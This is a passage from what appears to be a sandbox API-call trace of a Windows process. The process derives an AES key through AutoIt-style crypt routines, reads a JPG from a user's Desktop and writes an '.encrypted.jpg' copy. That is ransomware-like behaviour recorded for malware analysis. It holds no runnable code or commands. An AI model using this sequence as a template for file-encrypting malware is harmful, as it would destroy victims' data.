out: lpMsg=0xe8f3dfe760) returned 0 [0022.986] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.986] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.986] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.986] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b0c0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0022.986] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.986] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.986] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.986] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.986] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.986] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.986] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.986] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.986] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062b10) returned 1 [0022.987] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.987] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.987] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.987] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.987] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.987] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.987] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0022.987] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.987] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0022.987] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.988] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.988] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.988] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.988] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.988] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\kqg5xtni4dupero o1m.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.989] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.989] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0022.989] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.989] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.989] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.989] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0022.989] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\kqg5xtni4dupero o1m.encrypted.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0022.990] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.990] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.990] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.990] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.991] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0022.991] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0022.992] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x54ab, lpOverlapped=0x0) returned 1 [0022.993] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0022.996] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.996] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.996] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.996] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0022.997] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.997] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.997] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0022.997] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.997] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0022.997] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.997] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.998] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.998] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0022.998] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.998] CryptGetKeyParam (in: hKey=0xe8f4062b10, dwParam=0x7, pbData=0xe8f40649d0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f40649d0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0022.998] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.998] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.998] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.998] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.998] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.998] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.998] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.998] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.999] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.999] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.999] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.999] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.999] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.999] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.999] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.999] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.999] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.999] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.999] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.999] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x154ab, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x154b0) returned 1 [0022.999] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.000] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.000] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.000] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.000] CharLowerBuffW (in: lpsz="byte[87217]", cchLength=0xb | out: lpsz="byte[87217]") returned 0xb [0023.000] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.001] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.002] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.002] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.003] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.003] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4200810*, pdwDataLen=0xe8f3dfdf68*=0x154ab, dwBufLen=0x154b0 | out: pbData=0xe8f4200810*, pdwDataLen=0xe8f3dfdf68*=0x154b0) returned 1 [0023.003] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.003] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.003] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.004] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.004] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.004] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.004] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.004] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.004] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.004] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.004] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.004] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.004] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.007] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.008] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.008] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.009] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.009] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.009] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0023.009] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.009] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.009] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0023.009] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.010] CryptDestroyKey (hKey=0xe8f4062b10) returned 1 [0023.010] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.010] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.010] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.010] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.010] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.010] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.010] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.010] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.010] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.010] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0023.010] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.010] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.010] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.010] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.010] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.010] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.010] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.010] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.010] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.010] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.010] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.010] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.010] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.010] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, 